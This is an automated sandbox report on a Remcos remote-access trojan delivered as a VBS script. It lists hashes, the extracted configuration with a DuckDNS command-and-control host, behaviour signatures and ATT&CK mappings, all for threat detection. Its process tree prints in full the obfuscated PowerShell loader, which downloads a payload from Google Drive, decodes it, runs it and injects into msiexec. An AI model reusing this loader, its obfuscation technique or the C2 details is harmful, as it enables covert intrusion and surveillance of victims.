remcos | adae16c4fe643a3093a6e2ac5329616ccc62d71725f208203869d90f08b3c6d1

General

Target

adae16c4fe643a3093a6e2ac5329616ccc62d71725f208203869d90f08b3c6d1.vbs
Size

82KB
MD5

a1aeb49d80b16158b4b88efef30be753
SHA1

a7829f01f6a679b9016c1b192431a317827045b1
SHA256

adae16c4fe643a3093a6e2ac5329616ccc62d71725f208203869d90f08b3c6d1
SHA512

a15fcfb783b0c8225478f3015a704370f794a59a827e48d32bf537ca27a8cb2a30922278b65475b52f3f0990a5c6d38fca281cf3b3ac44eef92bea1d0811f5a3
SSDEEP

1536:s+aCJtE0IliA2cngEAwsi0+lyOFY+UoArilnO7Mu5FYLf:s+aCrpADnWklyOZUoJlnsQLf

Score

10^/10

remcos remotehost discovery execution rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

a458386d9.duckdns.org:3256

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
delete_file
false
hide_file
true
hide_keylog_file
false
install_flag
false
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-WDQFG0
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 9 IoCs

flow	pid	Process
5	2056	powershell.exe
7	2056	powershell.exe
9	2468	msiexec.exe
11	2468	msiexec.exe
13	2468	msiexec.exe
15	2468	msiexec.exe
16	2468	msiexec.exe
19	2468	msiexec.exe
21	2468	msiexec.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2056	powershell.exe
2900	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
5	drive.google.com
9	drive.google.com
4	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2468	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2900	powershell.exe
2468	msiexec.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2900 set thread context of 2468	2900	powershell.exe	36

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2056	powershell.exe
2900	powershell.exe
2900	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2900	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2056	powershell.exe
Token: SeDebugPrivilege	2900	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2468	msiexec.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1640 wrote to memory of 2056	1640	WScript.exe	30
PID 1640 wrote to memory of 2056	1640	WScript.exe	30
PID 1640 wrote to memory of 2056	1640	WScript.exe	30
PID 2900 wrote to memory of 2468	2900	powershell.exe	36
PID 2900 wrote to memory of 2468	2900	powershell.exe	36
PID 2900 wrote to memory of 2468	2900	powershell.exe	36
PID 2900 wrote to memory of 2468	2900	powershell.exe	36
PID 2900 wrote to memory of 2468	2900	powershell.exe	36
PID 2900 wrote to memory of 2468	2900	powershell.exe	36
PID 2900 wrote to memory of 2468	2900	powershell.exe	36
PID 2900 wrote to memory of 2468	2900	powershell.exe	36
PID 2900 wrote to memory of 2468	2900	powershell.exe	36

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\adae16c4fe643a3093a6e2ac5329616ccc62d71725f208203869d90f08b3c6d1.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Permit Billeted Livserfarent Magmatism #>;$Homologue='ensorrow';<#prossie Udryddelseslejrenes Interjectionalized jobannoncer Anstillelser Sdmefuldes Bakkeen #>;$Sledgehammered=$host.PrivateData;If ($Sledgehammered) {$Genanvendelser++;}function Demissioner($Unlaconic){$Conversations=$Unengaging+$Unlaconic.Length-$Genanvendelser;for( $Kanaljen=5;$Kanaljen -lt $Conversations;$Kanaljen+=6){$Cochleous+=$Unlaconic[$Kanaljen];}$Cochleous;}function Complimentable($centronucleus){ . ($Garanti) ($centronucleus);}$Convectively=Demissioner 'AdherMPinoco.ivinzDesiligene lRed,vlR.rria Limo/Mic.o5Efter.E oti0.itdo Phram(OdiniWPrvebiSyndin BrebdHid eo AdvewFlgeps Po s PaceN ialTSkygg Kursu1Mis a0Indle. Gstg0Super;Pr,va Asep WIndk,iHalvpn enat6Still4Anabl; Peri BlaanxOppeb6Smukt4Count;Filtr CuretrBasi vBedoe:Drypf1Flo e2Mando1Soran.Tipol0baggr)Spotm angstGPho.oekongec.eigekN,wfooR all/Tria 2Svmme0Sgeko1Telem0D ool0 Babe1rdk k0Marki1Recir B.jekFKaleniTrl grhypopeRehabfSkimtoOpht.x ffec/Ch om1Rund,2 Scut1 Ytre.Ripen0Undlb ';$Saccharofarinaceous=Demissioner ' PostUTek oSKanteESk ivRVan e-RiffiAMultigWeeklEmel oNIdiorT Pr.t ';$Dermoid108=Demissioner 'TzolkhWynketIndflt Ga.gpP.rsosForga:Secti/abern/FemdodHospir StariMoilsvKakkee Chup.DelafgDeflooRedero,endrg MonolFugtieArkiv.MedvicA,eneoKo,mumObskn/ ailluHarroc Ince?Mo emeErgasx LivspInobto Pu rr valetDruek= forsdFortroMatriwCon entillylGnat,oAngreaSo madgldsf&.uskeiParamdBacil= Nive1Pilloa fficJAnticrKapil3FremmEPrimrNKor,oUH,perZPa.acI BoucKFeatuKSkytsZnanziBTeks mHaircNSvineb AflgdFoame6Menedi MutaoSols.0 gtpbarr sC acco5DekupvSendesAlderIImmunIJazzo6KommuaOve.vL.aike1Antit ';$Henrykkelser=Demissioner ' Und.>Ga.um ';$Garanti=Demissioner 'uns.dIBespiEUne hXNdend ';$Funktionens98='Zizit';$Klemskrue67='\Forsvarsundtagelsen.Non';Complimentable (Demissioner 'S,udv$pottegNonmulSkifeo kloebPolitaTer,ilph.ll:ForbrTSubpraEuphok VatttAlterrKommueUdr ag acuuBrn plPaahneDefinrStigmiHalssnD.langUn omsF rgro rrisrWar,odSolbanNeglei HjdenAgramgTilkr=Antik$Mutile Udfln FendvNonfa:blatta Frikp Klasp tetidGnat.aSkoletmonu aIndja+ Srej$SekssKColeglBetake C vimBe.risPiruekInd ur BekmuBambue erni6Hemap7 Asp, ');Complimentable (Demissioner ' Prmi$Q ibbgStenklFiletoI desbChambaUnderl Spec: ardRnonmoeLycopk rhebr ProleSkov eHazelr SatreIndbodSnoreenyh dsTungs= Eco,$ HjemD UdlaeStro rCologmIndsaoSampli Mimod ko,m1 loat0Affat8Refor.Bedris E prpJ.gtrlDehemi etabtSabia(Arbej$Uko lHHo edeAl,arnStok.r ,andy olvkUngp kunleae WiktlSub osBemalePrak rSlopl) Mold ');Complimentable (Demissioner 'Nedri[L.uwiNStatieAntictAqu n.FaintSAris,eSuccor BunkvSegm iSubimcMisdeeSkrivPSiffro arveiUnplunP,rtntForvrM aligaBed mndemisa,laasg,arneePregnrGeote]Meggy: Fors: NeutSD sjueProvocGanesuEncryrGuaiai ProltJou nyExcepPTankbrUdenooHu kat HymnoSummecTil aoForbrlPhen Garn=Under Dic,[ Es.iN Di peLn svtFrems. MispSca lieTitilc UdsuuTyk erNonneiColletalteryUd,ytPDegrarAnlgsoTilintdefiboP ogrcK.essoDet,clG lfdTWei hyIndh pObjeke.ebuk]Ordd,:Hjest:SubaqTBaglylGelatsRubin1 B,oa2Nerei ');$Dermoid108=$Rekreeredes[0];$Aalb=(Demissioner 'Hellm$ nbegg odralDentioLnsitbDrumrABlindl Picc:CommoMUdsena inden,etrauBoardSV,riae pndeRPteleSZo ch=Syntan BeeseAnatfW Knap-Tang oFremsbE samJLukkeERipplc Utalt Sema RadioS omsYFin,eS CajutGar iET,talm Klum.OsmetNF rskemol atRamni.AeridWClienEGiantB akeeCFnaddl afiriS aineCountNIndgrT urve ');Complimentable ($Aalb);Complimentable (Demissioner 'Unm n$ AandMAprjtaDiscon.igmouRos vsSurgeepolycrKl nisSpi l.NatioH PeaseKolibaProjed imike.lestr ochls Gulp[ semi$ami,aSBesluaMendicY erpcDe,eah.ammea HuserHaymiosuperfInferaParaprSuperi OplinC,priaCigarcSnavseBehagoBa liuCl,nksSalut]S veb=San t$ harCP eroo Fingn Oplav JudaeTaxabcAf ket Laici IntivTonetelactol taily acci ');$Bortkaldenes=Demissioner ' Run $KugleM evea SchonSubtruA tens edbeNoctirV.nstsEremi.UdsorDegenpowheatwToldanDescrlPilotoIsltpaSe.undTeor FSh rpiHajerl.ndlie rais(Sk ll$progrDHypoaeA wesr Ichtm RedioSlgegiBuddhdStor 1Pro u0 Komi8 For ,Supin$KloroTTripii spanl an asSamm.tA likaDisbunFortidSympts AntikL.mfaoCheunn.halat Sew.r Fas,o F,rsl SennlForlaeTabernForsk)Early ';$Tilstandskontrollen=$Taktreguleringsordning;Complimentable (Demissioner ' St.a$SagsbgHeterLLin,aOOverlB Ac,tA MonuLFork :RaaensIps,lEaburacCha,uE.amboS Svi,hYtt oeAu okrHyoep= Khar(SlabutReconedialesS rjtTAccen- SlenPMins A,njurtBuskvHDemor syla$H.nritStil.i DiviL Sel SImpasT orbeAFamleNLa,tidOsteesSlittK CyphO Dec nTilflTColorrFlde oPushelDangllAposteKont Nmetag)Mith ');while (!$Secesher) {Complimentable (Demissioner 'Besho$W ankgToolmlIndenoDingibStjmaa PosslKrmme: BldgLMappegUr.tie skvamS xoliSteepdGadenlUncateLal erDiagrsArbej=S.nka$ReduptReletrPreteuKe.neeRredd ') ;Complimentable $Bortkaldenes;Complimentable (Demissioner 'PositS ConstBaandaA ronrPlummtmax l-RadicSRebuclH,tideNondaeF.odepF rbi Parag4Perki ');Complimentable (Demissioner 'Vates$CentegtokonlT gneoMartibIndkbaRededlC lla:RegniSSt,ike UdskcSmidieForhasHarboh undeeExpatrRetou= Remu(,luviTKonsteRedidsHypert E.ns-FodtuPSpinaaAfgiftAutomhUnwil Skel $ouchiTFedtei Ko.llSoillsLselatGe iraHolden UdbldForsesP lotkFo nuo ba ln Eks t HjerrLarkio RentlKvajplIn uleSpec nF rtl)Age s ') ;Complimentable (Demissioner 'Unvex$UnweagDis elemissoSemipbb odtaSvinglPostd:ThousNMick yDgl nsPlombeMacra= Re r$ Sno.gGrumblUnevao LeucbPartiaRe.mplP ras:C lfoS HalvtlivssmSelvraKo,ypgAarsktLittleChambrDansknPart,e Fr.p+Frems+Balde% luor$OspheRPiggieind rkArecarS bbre For.e.ersurFolloeAmberd usmoeNonres Tndi.ShoemcRew,ro MultuQua,en m,krtFi,eo ') ;$Dermoid108=$Rekreeredes[$Nyse];}$hanerne=327149;$Whitewashes=31726;Complimentable (Demissioner 'Godke$ Mudrg ChanlSklveoAgorabI posaKontalKathi: ArmvTNicksyHel.as BrilkSu syl Cas aRedamn Po gdtorqusexophk BranoHurtirDiapatTovreemalacnKo keeVandf Rente=K,ydr UnmaGOgcoce KonttTelea-v yagC Preeo PennnMur etTrumbeAntipnBour tBog.r .well$S iseTHjtidiKo salBrdtesParcet SkaraMeta nAl ebd innosImprekGymnaounfe.nStanstSomatra,itho GenmlSereal D,caePbelanpentr ');Complimentable (Demissioner 'Helio$fontegRuskvlEul goTr,ldbShmooaAboitlA ive:SkmteAL vitfDataovBridaiunshrsTi,skeLedersUrocy F rgl=Strit Kna,e[D mkiSBjensyElaeosDecrot K,ype B.gsm Defi.An.itCPlejeoRi.honIntervSminkeMet,lrFejlktFrken]Barbo:Symph:BobslFsygepr InduoSkummmUnel BChr saAltersA.reme.asel6Vej n4PresuS anectGli.trNutidicho en Halvg We d(.nder$Nonc T LgdeyT.igosPeltikZoonulTheataResu,nAlarmd DeodsStrudkUforkobasisrDisset UforeM,tronLu,eaeIncon)Blunt ');Complimentable (Demissioner ',iern$UdbldgAf nnl zygoo BespbLave,ashal.lstrue:Pe sohKlbenyRevispTranse Profr LumidMispoeOrdk.l PrstiMallec Grapas.gnecTankeyHausf Bo sa=Garr, Plan[VarmeSandenyAnthrsCherrtS ovbe ChesmBulkl.P.ojeTBalloeT iloxGavltt Rh.x.Wi dbEFermenfljtecAabenom.rryd mneiPodopnDodecg,kole]Sidew:Carbi:UnwebA s apSNieceCDilatIUngtjIStorm.UdfreGDogmaeSyntatSuli.SGla.ftMondorEmbaciSegganApertgRommy(Fruit$ DemoA Car,fSpectvKommuiMicrosForeseAr.easNedto)Be.ud ');Complimentable (Demissioner 'U.ere$ Afskg AvlslUnmanoK rtebElandaClanslPha,t:Poly,EBullisStigmt brikhEx rieBalanshaeani Vej,oVilk,gAnnlirA.equa D gep AfbahAptycyAgerb=Arbit$ KanehLeucoy Loo pEuroceRawbor BuksdCryste vehilMargiiBrnebcunentaMomencDafniyMac.o. eners Fuldu ankebStar sIchortTek tr Solsi ,rcin eohygForby(Elect$CensohTor kaShadfnScapheSlatirBriefnZ,dkueMisap,Mine,$StortWK lethSt rei HachtinteleBlindw InteaStyrbs F,erhBilggeAarsis Stud)Eng n ');Complimentable $Esthesiography;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2056

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "<#Permit Billeted Livserfarent Magmatism #>;$Homologue='ensorrow';<#prossie Udryddelseslejrenes Interjectionalized jobannoncer Anstillelser Sdmefuldes Bakkeen #>;$Sledgehammered=$host.PrivateData;If ($Sledgehammered) {$Genanvendelser++;}function Demissioner($Unlaconic){$Conversations=$Unengaging+$Unlaconic.Length-$Genanvendelser;for( $Kanaljen=5;$Kanaljen -lt $Conversations;$Kanaljen+=6){$Cochleous+=$Unlaconic[$Kanaljen];}$Cochleous;}function Complimentable($centronucleus){ . ($Garanti) ($centronucleus);}$Convectively=Demissioner 'AdherMPinoco.ivinzDesiligene lRed,vlR.rria Limo/Mic.o5Efter.E oti0.itdo Phram(OdiniWPrvebiSyndin BrebdHid eo AdvewFlgeps Po s PaceN ialTSkygg Kursu1Mis a0Indle. Gstg0Super;Pr,va Asep WIndk,iHalvpn enat6Still4Anabl; Peri BlaanxOppeb6Smukt4Count;Filtr CuretrBasi vBedoe:Drypf1Flo e2Mando1Soran.Tipol0baggr)Spotm angstGPho.oekongec.eigekN,wfooR all/Tria 2Svmme0Sgeko1Telem0D ool0 Babe1rdk k0Marki1Recir B.jekFKaleniTrl grhypopeRehabfSkimtoOpht.x ffec/Ch om1Rund,2 Scut1 Ytre.Ripen0Undlb ';$Saccharofarinaceous=Demissioner ' PostUTek oSKanteESk ivRVan e-RiffiAMultigWeeklEmel oNIdiorT Pr.t ';$Dermoid108=Demissioner 'TzolkhWynketIndflt Ga.gpP.rsosForga:Secti/abern/FemdodHospir StariMoilsvKakkee Chup.DelafgDeflooRedero,endrg MonolFugtieArkiv.MedvicA,eneoKo,mumObskn/ ailluHarroc Ince?Mo emeErgasx LivspInobto Pu rr valetDruek= forsdFortroMatriwCon entillylGnat,oAngreaSo madgldsf&.uskeiParamdBacil= Nive1Pilloa fficJAnticrKapil3FremmEPrimrNKor,oUH,perZPa.acI BoucKFeatuKSkytsZnanziBTeks mHaircNSvineb AflgdFoame6Menedi MutaoSols.0 gtpbarr sC acco5DekupvSendesAlderIImmunIJazzo6KommuaOve.vL.aike1Antit ';$Henrykkelser=Demissioner ' Und.>Ga.um ';$Garanti=Demissioner 'uns.dIBespiEUne hXNdend ';$Funktionens98='Zizit';$Klemskrue67='\Forsvarsundtagelsen.Non';Complimentable (Demissioner 'S,udv$pottegNonmulSkifeo kloebPolitaTer,ilph.ll:ForbrTSubpraEuphok VatttAlterrKommueUdr ag acuuBrn plPaahneDefinrStigmiHalssnD.langUn omsF rgro rrisrWar,odSolbanNeglei HjdenAgramgTilkr=Antik$Mutile Udfln FendvNonfa:blatta Frikp Klasp tetidGnat.aSkoletmonu aIndja+ Srej$SekssKColeglBetake C vimBe.risPiruekInd ur BekmuBambue erni6Hemap7 Asp, ');Complimentable (Demissioner ' Prmi$Q ibbgStenklFiletoI desbChambaUnderl Spec: ardRnonmoeLycopk rhebr ProleSkov eHazelr SatreIndbodSnoreenyh dsTungs= Eco,$ HjemD UdlaeStro rCologmIndsaoSampli Mimod ko,m1 loat0Affat8Refor.Bedris E prpJ.gtrlDehemi etabtSabia(Arbej$Uko lHHo edeAl,arnStok.r ,andy olvkUngp kunleae WiktlSub osBemalePrak rSlopl) Mold ');Complimentable (Demissioner 'Nedri[L.uwiNStatieAntictAqu n.FaintSAris,eSuccor BunkvSegm iSubimcMisdeeSkrivPSiffro arveiUnplunP,rtntForvrM aligaBed mndemisa,laasg,arneePregnrGeote]Meggy: Fors: NeutSD sjueProvocGanesuEncryrGuaiai ProltJou nyExcepPTankbrUdenooHu kat HymnoSummecTil aoForbrlPhen Garn=Under Dic,[ Es.iN Di peLn svtFrems. MispSca lieTitilc UdsuuTyk erNonneiColletalteryUd,ytPDegrarAnlgsoTilintdefiboP ogrcK.essoDet,clG lfdTWei hyIndh pObjeke.ebuk]Ordd,:Hjest:SubaqTBaglylGelatsRubin1 B,oa2Nerei ');$Dermoid108=$Rekreeredes[0];$Aalb=(Demissioner 'Hellm$ nbegg odralDentioLnsitbDrumrABlindl Picc:CommoMUdsena inden,etrauBoardSV,riae pndeRPteleSZo ch=Syntan BeeseAnatfW Knap-Tang oFremsbE samJLukkeERipplc Utalt Sema RadioS omsYFin,eS CajutGar iET,talm Klum.OsmetNF rskemol atRamni.AeridWClienEGiantB akeeCFnaddl afiriS aineCountNIndgrT urve ');Complimentable ($Aalb);Complimentable (Demissioner 'Unm n$ AandMAprjtaDiscon.igmouRos vsSurgeepolycrKl nisSpi l.NatioH PeaseKolibaProjed imike.lestr ochls Gulp[ semi$ami,aSBesluaMendicY erpcDe,eah.ammea HuserHaymiosuperfInferaParaprSuperi OplinC,priaCigarcSnavseBehagoBa liuCl,nksSalut]S veb=San t$ harCP eroo Fingn Oplav JudaeTaxabcAf ket Laici IntivTonetelactol taily acci ');$Bortkaldenes=Demissioner ' Run $KugleM evea SchonSubtruA tens edbeNoctirV.nstsEremi.UdsorDegenpowheatwToldanDescrlPilotoIsltpaSe.undTeor FSh rpiHajerl.ndlie rais(Sk ll$progrDHypoaeA wesr Ichtm RedioSlgegiBuddhdStor 1Pro u0 Komi8 For ,Supin$KloroTTripii spanl an asSamm.tA likaDisbunFortidSympts AntikL.mfaoCheunn.halat Sew.r Fas,o F,rsl SennlForlaeTabernForsk)Early ';$Tilstandskontrollen=$Taktreguleringsordning;Complimentable (Demissioner ' St.a$SagsbgHeterLLin,aOOverlB Ac,tA MonuLFork :RaaensIps,lEaburacCha,uE.amboS Svi,hYtt oeAu okrHyoep= Khar(SlabutReconedialesS rjtTAccen- SlenPMins A,njurtBuskvHDemor syla$H.nritStil.i DiviL Sel SImpasT orbeAFamleNLa,tidOsteesSlittK CyphO Dec nTilflTColorrFlde oPushelDangllAposteKont Nmetag)Mith ');while (!$Secesher) {Complimentable (Demissioner 'Besho$W ankgToolmlIndenoDingibStjmaa PosslKrmme: BldgLMappegUr.tie skvamS xoliSteepdGadenlUncateLal erDiagrsArbej=S.nka$ReduptReletrPreteuKe.neeRredd ') ;Complimentable $Bortkaldenes;Complimentable (Demissioner 'PositS ConstBaandaA ronrPlummtmax l-RadicSRebuclH,tideNondaeF.odepF rbi Parag4Perki ');Complimentable (Demissioner 'Vates$CentegtokonlT gneoMartibIndkbaRededlC lla:RegniSSt,ike UdskcSmidieForhasHarboh undeeExpatrRetou= Remu(,luviTKonsteRedidsHypert E.ns-FodtuPSpinaaAfgiftAutomhUnwil Skel $ouchiTFedtei Ko.llSoillsLselatGe iraHolden UdbldForsesP lotkFo nuo ba ln Eks t HjerrLarkio RentlKvajplIn uleSpec nF rtl)Age s ') ;Complimentable (Demissioner 'Unvex$UnweagDis elemissoSemipbb odtaSvinglPostd:ThousNMick yDgl nsPlombeMacra= Re r$ Sno.gGrumblUnevao LeucbPartiaRe.mplP ras:C lfoS HalvtlivssmSelvraKo,ypgAarsktLittleChambrDansknPart,e Fr.p+Frems+Balde% luor$OspheRPiggieind rkArecarS bbre For.e.ersurFolloeAmberd usmoeNonres Tndi.ShoemcRew,ro MultuQua,en m,krtFi,eo ') ;$Dermoid108=$Rekreeredes[$Nyse];}$hanerne=327149;$Whitewashes=31726;Complimentable (Demissioner 'Godke$ Mudrg ChanlSklveoAgorabI posaKontalKathi: ArmvTNicksyHel.as BrilkSu syl Cas aRedamn Po gdtorqusexophk BranoHurtirDiapatTovreemalacnKo keeVandf Rente=K,ydr UnmaGOgcoce KonttTelea-v yagC Preeo PennnMur etTrumbeAntipnBour tBog.r .well$S iseTHjtidiKo salBrdtesParcet SkaraMeta nAl ebd innosImprekGymnaounfe.nStanstSomatra,itho GenmlSereal D,caePbelanpentr ');Complimentable (Demissioner 'Helio$fontegRuskvlEul goTr,ldbShmooaAboitlA ive:SkmteAL vitfDataovBridaiunshrsTi,skeLedersUrocy F rgl=Strit Kna,e[D mkiSBjensyElaeosDecrot K,ype B.gsm Defi.An.itCPlejeoRi.honIntervSminkeMet,lrFejlktFrken]Barbo:Symph:BobslFsygepr InduoSkummmUnel BChr saAltersA.reme.asel6Vej n4PresuS anectGli.trNutidicho en Halvg We d(.nder$Nonc T LgdeyT.igosPeltikZoonulTheataResu,nAlarmd DeodsStrudkUforkobasisrDisset UforeM,tronLu,eaeIncon)Blunt ');Complimentable (Demissioner ',iern$UdbldgAf nnl zygoo BespbLave,ashal.lstrue:Pe sohKlbenyRevispTranse Profr LumidMispoeOrdk.l PrstiMallec Grapas.gnecTankeyHausf Bo sa=Garr, Plan[VarmeSandenyAnthrsCherrtS ovbe ChesmBulkl.P.ojeTBalloeT iloxGavltt Rh.x.Wi dbEFermenfljtecAabenom.rryd mneiPodopnDodecg,kole]Sidew:Carbi:UnwebA s apSNieceCDilatIUngtjIStorm.UdfreGDogmaeSyntatSuli.SGla.ftMondorEmbaciSegganApertgRommy(Fruit$ DemoA Car,fSpectvKommuiMicrosForeseAr.easNedto)Be.ud ');Complimentable (Demissioner 'U.ere$ Afskg AvlslUnmanoK rtebElandaClanslPha,t:Poly,EBullisStigmt brikhEx rieBalanshaeani Vej,oVilk,gAnnlirA.equa D gep AfbahAptycyAgerb=Arbit$ KanehLeucoy Loo pEuroceRawbor BuksdCryste vehilMargiiBrnebcunentaMomencDafniyMac.o. eners Fuldu ankebStar sIchortTek tr Solsi ,rcin eohygForby(Elect$CensohTor kaShadfnScapheSlatirBriefnZ,dkueMisap,Mine,$StortWK lethSt rei HachtinteleBlindw InteaStyrbs F,erhBilggeAarsis Stud)Eng n ');Complimentable $Esthesiography;"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2900
- C:\Windows\syswow64\msiexec.exe
  "C:\Windows\syswow64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:2468

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
38f790b2b687c896b690de013691d3f7

SHA1
60a1bb94b372b83df6482524a0a489e5af32e4dd

SHA256
a0fe024674eb92c9e1d072ba70ee371b51a30af205ef635d54b67956164ccd15

SHA512
7748640bd324f1335516a4fc0934c18bc89bc1d15253a7749fea247e80accd2987270cb94d49c728eea081b2f6ab34c5ed1fe125f47e24413b89299b8d3603f0

Download Submit
C:\Users\Admin\AppData\Roaming\Forsvarsundtagelsen.Non

Filesize
467KB

MD5
0f0c12d345508d8f65c3a877c4e3e3ec

SHA1
502f251aa8f322f6f7188c83893f1b3bc2e38676

SHA256
718b2422aa646cf870c7bf057a9b5d753cb2c6c12ee94c1246b425c9eb61bd5b

SHA512
b9b0e97e5a88d0b46913e2f9771cc248727f8cd52b3d7d53679212dcfc6362e3c4b52a5c48ec7babd813ba44bb3ca81c4497d675be6172112e97083784f247bc

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4NX3M4E50LHLTH1DPVZ9.temp

Filesize
7KB

MD5
056db07ad4b2424f2aaf5079034eff45

SHA1
58767ea5e83876a059f2dbf03e0490c7c4cb6b32

SHA256
81c67cfc18a1ce58ae4917ee52c1e638d2c2663edb905e51b3ac650dbadac92a

SHA512
a26e3608a75a89d24d5a73a9fd917fcff0d42c2be518ec10579f7be20c45e26fb978dc278ed094d3c8f616f4aaa509d68dee8e186d07d1669ffa368095bb7e7b

Download Submit
memory/2056-13-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/2056-8-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/2056-9-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/2056-10-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/2056-12-0x000007FEF5B8E000-0x000007FEF5B8F000-memory.dmp

Filesize
4KB

Download
memory/2056-4-0x000007FEF5B8E000-0x000007FEF5B8F000-memory.dmp

Filesize
4KB

Download
memory/2056-15-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/2056-6-0x0000000002910000-0x0000000002918000-memory.dmp

Filesize
32KB

Download
memory/2056-7-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/2056-5-0x000000001B590000-0x000000001B872000-memory.dmp

Filesize
2.9MB

Download
memory/2468-36-0x0000000000480000-0x00000000014E2000-memory.dmp

Filesize
16.4MB

Download
memory/2468-40-0x0000000000480000-0x00000000014E2000-memory.dmp

Filesize
16.4MB

Download
memory/2900-19-0x0000000006670000-0x0000000008D20000-memory.dmp

Filesize
38.7MB

Download

Analysis

Sharing